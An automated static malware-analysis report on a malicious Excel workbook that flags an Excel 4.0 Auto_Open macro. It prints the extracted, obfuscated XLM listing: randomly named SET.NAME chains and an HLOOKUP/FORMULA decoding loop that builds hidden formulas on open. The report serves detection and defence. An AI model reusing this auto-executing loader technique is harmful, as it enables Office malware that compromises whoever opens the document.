Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3d295f0e74576be…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:33:22 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: fb796205e976a1a72f947838df3d9c5f SHA-1: f75078369e27398af4f3d89e415f571a86adb2a8 SHA-256: a3d295f0e74576be9edf129259ad79016b0e2872370434a23225574a49e467f9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6572 bytes
SHA-256: d28868cc51fc9981800f8c7cf25b6d351e28212c560ccf7a7901a3eaa0436d3f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NiPdFoLAvm
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A168 
' 0018     27 LABEL : Cell Value, String Constant - BgpJNbkeMbSW len=0 
' 0018     23 LABEL : Cell Value, String Constant - dqFToyJQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - emcdcoL len=0 
' 0018     22 LABEL : Cell Value, String Constant - eQXPjAf len=0 
' 0018     26 LABEL : Cell Value, String Constant - fiZWNXqTVbs len=0 
' 0018     27 LABEL : Cell Value, String Constant - gtYmvKZFXVJY len=0 
' 0018     23 LABEL : Cell Value, String Constant - gzOeVWoQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - hVBGa len=0 
' 0018     20 LABEL : Cell Value, String Constant - jCVUn len=0 
' 0018     20 LABEL : Cell Value, String Constant - JYWyX len=0 
' 0018     20 LABEL : Cell Value, String Constant - jYxtu len=0 
' 0018     23 LABEL : Cell Value, String Constant - mIznHspU len=0 
' 0018     20 LABEL : Cell Value, String Constant - ocJPk len=0 
' 0018     21 LABEL : Cell Value, String Constant - pBrvCG len=0 
' 0018     21 LABEL : Cell Value, String Constant - RtTTuf len=0 
' 0018     27 LABEL : Cell Value, String Constant - RvJHyTYCUCxA len=0 
' 0018     21 LABEL : Cell Value, String Constant - syQNtj len=0 
' 0018     21 LABEL : Cell Value, String Constant - uEmfDP len=0 
' 0018     22 LABEL : Cell Value, String Constant - UqIZWaZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - wUHwrRqXeTYV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NiPdFoLAvm,A74,"SET.NAME("eQXPjAf",VALUE("0"))",""
'  NiPdFoLAvm,A77,"SET.NAME("gtYmvKZFXVJY",eQXPjAf)",""
'  NiPdFoLAvm,A81,"SET.NAME("mIznHspU",eQXPjAf)",""
'  NiPdFoLAvm,A85,"SET.NAME("fiZWNXqTVbs",COUNTA(RvJHyTYCUCxA))",""
'  NiPdFoLAvm,A90,"SET.NAME("BgpJNbkeMbSW",COUNTA(hVBGa))",""
'  NiPdFoLAvm,A92,[],""
'  NiPdFoLAvm,A94,"SET.NAME("RtTTuf","")",""
'  NiPdFoLAvm,A99,"gtYmvKZFXVJY",""
'  NiPdFoLAvm,A104,"SET.NAME("jCVUn",HLOOKUP("*",RvJHyTYCUCxA,gtYmvKZFXVJY,FALSE))",""
'  NiPdFoLAvm,A109,"jYxtu",""
'  NiPdFoLAvm,A113,"SET.NAME("emcdcoL",eQXPjAf)",""
'  NiPdFoLAvm,A118,[],""
'  NiPdFoLAvm,A123,"emcdcoL",""
'  NiPdFoLAvm,A127,"pBrvCG",""
'  NiPdFoLAvm,A130,"ocJPk",""
'  NiPdFoLAvm,A133,"wUHwrRqXeTYV",""
'  NiPdFoLAvm,A138,"SET.NAME("uEmfDP",VALUE(HLOOKUP("*",hVBGa,wUHwrRqXeTYV,FALSE)))",""
'  NiPdFoLAvm,A140,"JYWyX",""
'  NiPdFoLAvm,A142,"RtTTuf",""
'  NiPdFoLAvm,A147,"mIznHspU",""
'  NiPdFoLAvm,A150,NEXT(),""
'  NiPdFoLAvm,A152,"UqIZWaZ",""
'  NiPdFoLAvm,A155,"SET.NAME("f",INT(T(FORMULA(T(RtTTuf)&"",""&T(UqIZWaZ)))))",""
'  NiPdFoLAvm,A157,"syQNtj",""
'  NiPdFoLAvm,A160,NEXT(),""
'  NiPdFoLAvm,A163,RETURN(),""
'  NiPdFoLAvm,A193,"SET.NAME("dqFToyJQ",A74)",""
'  NiPdFoLAvm,A196,"RvJHyTYCUCxA",""
'  NiPdFoLAvm,A201,"SET.NAME("hVBGa",R88C11)",""
'  NiPdFoLAvm,A204,"SET.NAME("syQNtj",211)",""
'  NiPdFoLAvm,A208,"SET.NAME("gzOeVWoQ",1)",""
'  NiPdFoLAvm,A210,dqFToyJQ(),""
'  NiPdFoLAvm,A211,HALT(),""